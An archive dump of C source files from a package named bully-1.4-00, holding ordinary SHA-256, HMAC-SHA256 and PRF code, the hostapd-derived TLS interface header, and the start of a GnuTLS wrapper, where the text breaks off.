0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL, 0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL, 0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL, 0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL, 0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL, 0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL }; /* Various logical functions */ #define RORc(x, y) \ ( ((((unsigned long) (x) & 0xFFFFFFFFUL) >> (unsigned long) ((y) & 31)) | \ ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) #define Ch(x,y,z) (z ^ (x & (y ^ z))) #define Maj(x,y,z) (((x | y) & z) | (x & y)) #define S(x, n) RORc((x), (n)) #define R(x, n) (((x)&0xFFFFFFFFUL)>>(n)) #define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22)) #define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25)) #define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3)) #define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10)) #ifndef MIN #define MIN(x, y) (((x) < (y)) ? (x) : (y)) #endif /* compress 512-bits */ static int sha256_compress(struct sha256_state *md, unsigned char *buf) { u32 S[8], W[64], t0, t1; u32 t; int i; /* copy state into S */ for (i = 0; i < 8; i++) { S[i] = md->state[i]; } /* copy the state into 512-bits into W[0..15] */ for (i = 0; i < 16; i++) W[i] = WPA_GET_BE32(buf + (4 * i)); /* fill W[16..63] */ for (i = 16; i < 64; i++) { W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16]; } /* Compress */ #define RND(a,b,c,d,e,f,g,h,i) \ t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \ t1 = Sigma0(a) + Maj(a, b, c); \ d += t0; \ h = t0 + t1; for (i = 0; i < 64; ++i) { RND(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i); t = S[7]; S[7] = S[6]; S[6] = S[5]; S[5] = S[4]; S[4] = S[3]; S[3] = S[2]; S[2] = S[1]; S[1] = S[0]; S[0] = t; } /* feedback */ for (i = 0; i < 8; i++) { md->state[i] = md->state[i] + S[i]; } return 0; } /* Initialize the hash state */ static void sha256_init(struct sha256_state *md) { md->curlen = 0; md->length = 0; md->state[0] = 0x6A09E667UL; md->state[1] = 0xBB67AE85UL; md->state[2] = 0x3C6EF372UL; md->state[3] = 0xA54FF53AUL; md->state[4] = 0x510E527FUL; md->state[5] = 0x9B05688CUL; md->state[6] = 0x1F83D9ABUL; md->state[7] = 0x5BE0CD19UL; } /** Process a block of memory though the hash @param md The hash state @param in The data to hash @param inlen The length of the data (octets) @return CRYPT_OK if successful */ static int sha256_process(struct sha256_state *md, const unsigned char *in, unsigned long inlen) { unsigned long n; #define sha256_block_size 64 if (md->curlen > sizeof(md->buf)) return -1; while (inlen > 0) { if (md->curlen == 0 && inlen >= sha256_block_size) { if (sha256_compress(md, (unsigned char *) in) < 0) return -1; md->length += sha256_block_size * 8; in += sha256_block_size; inlen -= sha256_block_size; } else { n = MIN(inlen, (sha256_block_size - md->curlen)); os_memcpy(md->buf + md->curlen, in, n); md->curlen += n; in += n; inlen -= n; if (md->curlen == sha256_block_size) { if (sha256_compress(md, md->buf) < 0) return -1; md->length += 8 * sha256_block_size; md->curlen = 0; } } } return 0; } /** Terminate the hash to get the digest @param md The hash state @param out [out] The destination of the hash (32 bytes) @return CRYPT_OK if successful */ static int sha256_done(struct sha256_state *md, unsigned char *out) { int i; if (md->curlen >= sizeof(md->buf)) return -1; /* increase the length of the message */ md->length += md->curlen * 8; /* append the '1' bit */ md->buf[md->curlen++] = (unsigned char) 0x80; /* if the length is currently above 56 bytes we append zeros * then compress. Then we can fall back to padding zeros and length * encoding like normal. */ if (md->curlen > 56) { while (md->curlen < 64) { md->buf[md->curlen++] = (unsigned char) 0; } sha256_compress(md, md->buf); md->curlen = 0; } /* pad upto 56 bytes of zeroes */ while (md->curlen < 56) { md->buf[md->curlen++] = (unsigned char) 0; } /* store length */ WPA_PUT_BE64(md->buf + 56, md->length); sha256_compress(md, md->buf); /* copy output */ for (i = 0; i < 8; i++) WPA_PUT_BE32(out + (4 * i), md->state[i]); return 0; } /* ===== end - public domain SHA256 implementation ===== */ bully-1.4-00/src/crypto/sha256.c000077500000000000000000000077711361530463600162330ustar00rootroot00000000000000/* * SHA-256 hash implementation and interface functions * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha256.h" #include "crypto.h" /** * hmac_sha256_vector - HMAC-SHA256 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (32 bytes) */ void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ unsigned char tk[32]; const u8 *_addr[6]; size_t _len[6], i; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return; } /* if key is longer than 64 bytes reset it to key = SHA256(key) */ if (key_len > 64) { sha256_vector(1, &key, &key_len, tk); key = tk; key_len = 32; } /* the HMAC_SHA256 transform looks like: * * SHA256(K XOR opad, SHA256(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner SHA256 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } sha256_vector(1 + num_elem, _addr, _len, mac); os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer SHA256 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = SHA256_MAC_LEN; sha256_vector(2, _addr, _len, mac); } /** * hmac_sha256 - HMAC-SHA256 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (20 bytes) */ void hmac_sha256(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac); } /** * sha256_prf - SHA256-based Pseudo-Random Function (IEEE 802.11r, 8.5.1.5.2) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @data: Extra data to bind into the key * @data_len: Length of the data * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * * This function is used to derive new, cryptographically separate keys from a * given key. */ void sha256_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len) { u16 counter = 1; size_t pos, plen; u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; u8 counter_le[2], length_le[2]; addr[0] = counter_le; len[0] = 2; addr[1] = (u8 *) label; len[1] = os_strlen(label); addr[2] = data; len[2] = data_len; addr[3] = length_le; len[3] = sizeof(length_le); WPA_PUT_LE16(length_le, buf_len * 8); pos = 0; while (pos < buf_len) { plen = buf_len - pos; WPA_PUT_LE16(counter_le, counter); if (plen >= SHA256_MAC_LEN) { hmac_sha256_vector(key, key_len, 4, addr, len, &buf[pos]); pos += SHA256_MAC_LEN; } else { hmac_sha256_vector(key, key_len, 4, addr, len, hash); os_memcpy(&buf[pos], hash, plen); break; } counter++; } } bully-1.4-00/src/crypto/sha256.h000077500000000000000000000015561361530463600162330ustar00rootroot00000000000000/* * SHA256 hash implementation and interface functions * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA256_H #define SHA256_H #define SHA256_MAC_LEN 32 void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); void hmac_sha256(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); void sha256_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len); #endif /* SHA256_H */ bully-1.4-00/src/crypto/tls.h000077500000000000000000000501031361530463600160150ustar00rootroot00000000000000/* * SSL/TLS interface definition * Copyright (c) 2004-2010, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLS_H #define TLS_H struct tls_connection; struct tls_keys { const u8 *master_key; /* TLS master secret */ size_t master_key_len; const u8 *client_random; size_t client_random_len; const u8 *server_random; size_t server_random_len; const u8 *inner_secret; /* TLS/IA inner secret */ size_t inner_secret_len; }; enum tls_event { TLS_CERT_CHAIN_FAILURE, TLS_PEER_CERTIFICATE }; /* * Note: These are used as identifier with external programs and as such, the * values must not be changed. */ enum tls_fail_reason { TLS_FAIL_UNSPECIFIED = 0, TLS_FAIL_UNTRUSTED = 1, TLS_FAIL_REVOKED = 2, TLS_FAIL_NOT_YET_VALID = 3, TLS_FAIL_EXPIRED = 4, TLS_FAIL_SUBJECT_MISMATCH = 5, TLS_FAIL_ALTSUBJECT_MISMATCH = 6, TLS_FAIL_BAD_CERTIFICATE = 7, TLS_FAIL_SERVER_CHAIN_PROBE = 8 }; union tls_event_data { struct { int depth; const char *subject; enum tls_fail_reason reason; const char *reason_txt; const struct wpabuf *cert; } cert_fail; struct { int depth; const char *subject; const struct wpabuf *cert; const u8 *hash; size_t hash_len; } peer_cert; }; struct tls_config { const char *opensc_engine_path; const char *pkcs11_engine_path; const char *pkcs11_module_path; int fips_mode; void (*event_cb)(void *ctx, enum tls_event ev, union tls_event_data *data); void *cb_ctx; }; #define TLS_CONN_ALLOW_SIGN_RSA_MD5 BIT(0) #define TLS_CONN_DISABLE_TIME_CHECKS BIT(1) /** * struct tls_connection_params - Parameters for TLS connection * @ca_cert: File or reference name for CA X.509 certificate in PEM or DER * format * @ca_cert_blob: ca_cert as inlined data or %NULL if not used * @ca_cert_blob_len: ca_cert_blob length * @ca_path: Path to CA certificates (OpenSSL specific) * @subject_match: String to match in the subject of the peer certificate or * %NULL to allow all subjects * @altsubject_match: String to match in the alternative subject of the peer * certificate or %NULL to allow all alternative subjects * @client_cert: File or reference name for client X.509 certificate in PEM or * DER format * @client_cert_blob: client_cert as inlined data or %NULL if not used * @client_cert_blob_len: client_cert_blob length * @private_key: File or reference name for client private key in PEM or DER * format (traditional format (RSA PRIVATE KEY) or PKCS#8 (PRIVATE KEY) * @private_key_blob: private_key as inlined data or %NULL if not used * @private_key_blob_len: private_key_blob length * @private_key_passwd: Passphrase for decrypted private key, %NULL if no * passphrase is used. * @dh_file: File name for DH/DSA data in PEM format, or %NULL if not used * @dh_blob: dh_file as inlined data or %NULL if not used * @dh_blob_len: dh_blob length * @engine: 1 = use engine (e.g., a smartcard) for private key operations * (this is OpenSSL specific for now) * @engine_id: engine id string (this is OpenSSL specific for now) * @ppin: pointer to the pin variable in the configuration * (this is OpenSSL specific for now) * @key_id: the private key's id when using engine (this is OpenSSL * specific for now) * @cert_id: the certificate's id when using engine * @ca_cert_id: the CA certificate's id when using engine * @tls_ia: Whether to enable TLS/IA (for EAP-TTLSv1) * @flags: Parameter options (TLS_CONN_*) * * TLS connection parameters to be configured with tls_connection_set_params() * and tls_global_set_params(). * * Certificates and private key can be configured either as a reference name * (file path or reference to certificate store) or by providing the same data * as a pointer to the data in memory. Only one option will be used for each * field. */ struct tls_connection_params { const char *ca_cert; const u8 *ca_cert_blob; size_t ca_cert_blob_len; const char *ca_path; const char *subject_match; const char *altsubject_match; const char *client_cert; const u8 *client_cert_blob; size_t client_cert_blob_len; const char *private_key; const u8 *private_key_blob; size_t private_key_blob_len; const char *private_key_passwd; const char *dh_file; const u8 *dh_blob; size_t dh_blob_len; int tls_ia; /* OpenSSL specific variables */ int engine; const char *engine_id; const char *pin; const char *key_id; const char *cert_id; const char *ca_cert_id; unsigned int flags; }; /** * tls_init - Initialize TLS library * @conf: Configuration data for TLS library * Returns: Context data to be used as tls_ctx in calls to other functions, * or %NULL on failure. * * Called once during program startup and once for each RSN pre-authentication * session. In other words, there can be two concurrent TLS contexts. If global * library initialization is needed (i.e., one that is shared between both * authentication types), the TLS library wrapper should maintain a reference * counter and do global initialization only when moving from 0 to 1 reference. */ void * tls_init(const struct tls_config *conf); /** * tls_deinit - Deinitialize TLS library * @tls_ctx: TLS context data from tls_init() * * Called once during program shutdown and once for each RSN pre-authentication * session. If global library deinitialization is needed (i.e., one that is * shared between both authentication types), the TLS library wrapper should * maintain a reference counter and do global deinitialization only when moving * from 1 to 0 references. */ void tls_deinit(void *tls_ctx); /** * tls_get_errors - Process pending errors * @tls_ctx: TLS context data from tls_init() * Returns: Number of found error, 0 if no errors detected. * * Process all pending TLS errors. */ int tls_get_errors(void *tls_ctx); /** * tls_connection_init - Initialize a new TLS connection * @tls_ctx: TLS context data from tls_init() * Returns: Connection context data, conn for other function calls */ struct tls_connection * tls_connection_init(void *tls_ctx); /** * tls_connection_deinit - Free TLS connection data * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * * Release all resources allocated for TLS connection. */ void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_established - Has the TLS connection been completed? * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if TLS connection has been completed, 0 if not. */ int tls_connection_established(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_shutdown - Shutdown TLS connection * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 0 on success, -1 on failure * * Shutdown current TLS connection without releasing all resources. New * connection can be started by using the same conn without having to call * tls_connection_init() or setting certificates etc. again. The new * connection should try to use session resumption. */ int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn); enum { TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED = -3, TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED = -2 }; /** * tls_connection_set_params - Set TLS connection parameters * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @params: Connection parameters * Returns: 0 on success, -1 on failure, * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing * PKCS#11 engine failure, or * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the * PKCS#11 engine private key. */ int __must_check tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params); /** * tls_global_set_params - Set TLS parameters for all TLS connection * @tls_ctx: TLS context data from tls_init() * @params: Global TLS parameters * Returns: 0 on success, -1 on failure, * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing * PKCS#11 engine failure, or * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the * PKCS#11 engine private key. */ int __must_check tls_global_set_params( void *tls_ctx, const struct tls_connection_params *params); /** * tls_global_set_verify - Set global certificate verification options * @tls_ctx: TLS context data from tls_init() * @check_crl: 0 = do not verify CRLs, 1 = verify CRL for the user certificate, * 2 = verify CRL for all certificates * Returns: 0 on success, -1 on failure */ int __must_check tls_global_set_verify(void *tls_ctx, int check_crl); /** * tls_connection_set_verify - Set certificate verification options * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @verify_peer: 1 = verify peer certificate * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer); /** * tls_connection_set_ia - Set TLS/IA parameters * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @tls_ia: 1 = enable TLS/IA * Returns: 0 on success, -1 on failure * * This function is used to configure TLS/IA in server mode where * tls_connection_set_params() is not used. */ int __must_check tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia); /** * tls_connection_get_keys - Get master key and random data from TLS connection * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys); /** * tls_connection_prf - Use TLS-PRF to derive keying material * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure * * This function is optional to implement if tls_connection_get_keys() provides * access to master secret and server/client random values. If these values are * not exported from the TLS library, tls_connection_prf() is required so that * further keying material can be derived from the master secret. If not * implemented, the function will still need to be defined, but it can just * return -1. Example implementation of this function is in tls_prf() function * when it is called with seed set to client_random|server_random (or * server_random|client_random). */ int __must_check tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len); /** * tls_connection_handshake - Process TLS handshake (client side) * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Input data from TLS server * @appl_data: Pointer to application data pointer, or %NULL if dropped * Returns: Output data, %NULL on failure * * The caller is responsible for freeing the returned output data. If the final * handshake message includes application data, this is decrypted and * appl_data (if not %NULL) is set to point this data. The caller is * responsible for freeing appl_data. * * This function is used during TLS handshake. The first call is done with * in_data == %NULL and the library is expected to return ClientHello packet. * This packet is then send to the server and a response from server is given * to TLS library by calling this function again with in_data pointing to the * TLS message from the server. * * If the TLS handshake fails, this function may return %NULL. However, if the * TLS library has a TLS alert to send out, that should be returned as the * output data. In this case, tls_connection_get_failed() must return failure * (> 0). * * tls_connection_established() should return 1 once the TLS handshake has been * completed successfully. */ struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data); /** * tls_connection_server_handshake - Process TLS handshake (server side) * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Input data from TLS peer * @appl_data: Pointer to application data pointer, or %NULL if dropped * Returns: Output data, %NULL on failure * * The caller is responsible for freeing the returned output data. */ struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data); /** * tls_connection_encrypt - Encrypt data into TLS tunnel * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Plaintext data to be encrypted * Returns: Encrypted TLS data or %NULL on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. The caller is responsible for freeing the * returned output data. */ struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data); /** * tls_connection_decrypt - Decrypt data from TLS tunnel * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Encrypted TLS data * Returns: Decrypted TLS data or %NULL on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. The caller is responsible for * freeing the returned output data. */ struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data); /** * tls_connection_resumed - Was session resumption used * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if current session used session resumption, 0 if not */ int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn); enum { TLS_CIPHER_NONE, TLS_CIPHER_RC4_SHA /* 0x0005 */, TLS_CIPHER_AES128_SHA /* 0x002f */, TLS_CIPHER_RSA_DHE_AES128_SHA /* 0x0031 */, TLS_CIPHER_ANON_DH_AES128_SHA /* 0x0034 */ }; /** * tls_connection_set_cipher_list - Configure acceptable cipher suites * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers); /** * tls_get_cipher - Get current cipher name * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int __must_check tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen); /** * tls_connection_enable_workaround - Enable TLS workaround options * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 0 on success, -1 on failure * * This function is used to enable connection-specific workaround options for * buffer SSL/TLS implementations. */ int __must_check tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_client_hello_ext - Set TLS extension for ClientHello * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @ext_type: Extension type * @data: Extension payload (%NULL to remove extension) * @data_len: Extension payload length * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len); /** * tls_connection_get_failed - Get connection failure status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * * Returns >0 if connection has failed, 0 if not. */ int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_read_alerts - Get connection read alert status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Number of times a fatal read (remote end reported error) has * happened during this connection. */ int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_write_alerts - Get connection write alert status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Number of times a fatal write (locally detected error) has happened * during this connection. */ int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_keyblock_size - Get TLS key_block size * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn); #define TLS_CAPABILITY_IA 0x0001 /* TLS Inner Application (TLS/IA) */ /** * tls_capabilities - Get supported TLS capabilities * @tls_ctx: TLS context data from tls_init() * Returns: Bit field of supported TLS capabilities (TLS_CAPABILITY_*) */ unsigned int tls_capabilities(void *tls_ctx); /** * tls_connection_ia_send_phase_finished - Send a TLS/IA PhaseFinished message * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @final: 1 = FinalPhaseFinished, 0 = IntermediatePhaseFinished * Returns: Encrypted TLS/IA data, %NULL on failure * * This function is used to send the TLS/IA end phase message, e.g., when the * EAP server completes EAP-TTLSv1. */ struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final); /** * tls_connection_ia_final_phase_finished - Has final phase been completed * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if valid FinalPhaseFinished has been received, 0 if not, or -1 * on failure */ int __must_check tls_connection_ia_final_phase_finished( void *tls_ctx, struct tls_connection *conn); /** * tls_connection_ia_permute_inner_secret - Permute TLS/IA inner secret * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @key: Session key material (session_key vectors with 2-octet length), or * %NULL if no session key was generating in the current phase * @key_len: Length of session key material * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_ia_permute_inner_secret( void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len); typedef int (*tls_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); int __must_check tls_connection_set_session_ticket_cb( void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx); #endif /* TLS_H */ bully-1.4-00/src/crypto/tls_gnutls.c000077500000000000000000001070001361530463600174030ustar00rootroot00000000000000/* * SSL/TLS interface functions for GnuTLS * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #ifdef PKCS12_FUNCS #include #endif /* PKCS12_FUNCS */ #ifdef CONFIG_GNUTLS_EXTRA #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 #define GNUTLS_IA #include #if LIBGNUTLS_VERSION_NUMBER == 0x010302 /* This function is not included in the current gnutls/extra.h even though it * should be, so define it here as a workaround for the time being. */ int gnutls_ia_verify_endphase(gnutls_session_t session, char *checksum); #endif /* LIBGNUTLS_VERSION_NUMBER == 0x010302 */ #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* CONFIG_GNUTLS_EXTRA */ #include "common.h" #include "tls.h" #ifndef TLS_RANDOM_SIZE #define TLS_RANDOM_SIZE 32 #endif #ifndef TLS_MASTER_SIZE #define TLS_MASTER_SIZE 48 #endif #if LIBGNUTLS_VERSION_NUMBER < 0x010302 /* GnuTLS 1.3.2 added functions for using master secret. Older versions require * use of internal structures to get the master_secret and * {server,client}_random. */ #define GNUTLS_INTERNAL_STRUCTURE_HACK #endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK /* * It looks like gnutls does not provide access to client/server_random and * master_key. This is somewhat unfortunate since these are needed for key * derivation in EAP-{TLS,TTLS,PEAP,FAST}. Workaround for now is a horrible * hack that copies the gnutls_session_int definition from gnutls_int.h so that * we can get the needed information. */ typedef u8 uint8; typedef unsigned char opaque; typedef struct { uint8 suite[2]; } cipher_suite_st; typedef struct { gnutls_connection_end_t entity; gnutls_kx_algorithm_t kx_algorithm; gnutls_cipher_algorithm_t read_bulk_cipher_algorithm; gnutls_mac_algorithm_t read_mac_algorithm; gnutls_compression_method_t read_compression_algorithm; gnutls_cipher_algorithm_t write_bulk_cipher_algorithm; gnutls_mac_algorithm_t write_mac_algorithm; gnutls_compression_method_t write_compression_algorithm; cipher_suite_st current_cipher_suite; opaque master_secret[TLS_MASTER_SIZE]; opaque client_random[TLS_RANDOM_SIZE]; opaque server_random[TLS_RANDOM_SIZE]; /* followed by stuff we are not interested in */ } security_parameters_st; struct gnutls_session_int { security_parameters_st security_parameters; /* followed by things we are not interested in */ }; #endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ static int tls_gnutls_ref_count = 0; struct tls_global { /* Data for session resumption */ void *session_data; size_t session_data_size; int server; int params_set; gnutls_certificate_credentials_t xcred; }; struct tls_connection { gnutls_session session; char *subject_match, *altsubject_match; int read_alerts, write_alerts, failed; u8 *pre_shared_secret; size_t pre_shared_secret_len; int established; int verify_peer; struct wpabuf *push_buf; struct wpabuf *pull_buf; const u8 *pull_buf_offset; int params_set; gnutls_certificate_credentials_t xcred; int tls_ia; int final_phase_finished; #ifdef GNUTLS_IA gnutls_ia_server_credentials_t iacred_srv; gnutls_ia_client_credentials_t iacred_cli; /* Session keys generated in the current phase for inner secret * permutation before generating/verifying PhaseFinished. */ u8 *session_keys; size_t session_keys_len; u8 inner_secret[TLS_MASTER_SIZE]; #endif /* GNUTLS_IA */ }; static void tls_log_func(int level, const char *msg) { char *s, *pos; if (level == 6 || level == 7) { /* These levels seem to be mostly I/O debug and msg dumps */ return; } s = os_strdup(msg); if (s == NULL) return; pos = s; while (*pos != '\0') { if (*pos == '\n') { *pos = '\0'; break; } pos++; } wpa_printf(level > 3 ? MSG_MSGDUMP : MSG_DEBUG, "gnutls<%d> %s", level, s); os_free(s); } extern int wpa_debug_show_keys; void * tls_init(const struct tls_config *conf) { struct tls_global *global; #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK /* Because of the horrible hack to get master_secret and client/server * random, we need to make sure that the gnutls version is something * that is expected to have same structure definition for the session * data.. */ const char *ver; const char *ok_ver[] = { "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.9", "1.3.2", NULL }; int i; #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; if (tls_gnutls_ref_count == 0 && gnutls_global_init() < 0) { os_free(global); return NULL; } tls_gnutls_ref_count++; #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK ver = gnutls_check_version(NULL); if (ver == NULL) { tls_deinit(global); return NULL; } wpa_printf(MSG_DEBUG, "%s - gnutls version %s", __func__, ver); for (i = 0; ok_ver[i]; i++) { if (strcmp(ok_ver[i], ver) == 0) break; } if (ok_ver[i] == NULL) { wpa_printf(MSG_INFO, "Untested gnutls version %s - this needs " "to be tested and enabled in tls_gnutls.c", ver); tls_deinit(global); return NULL; } #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK 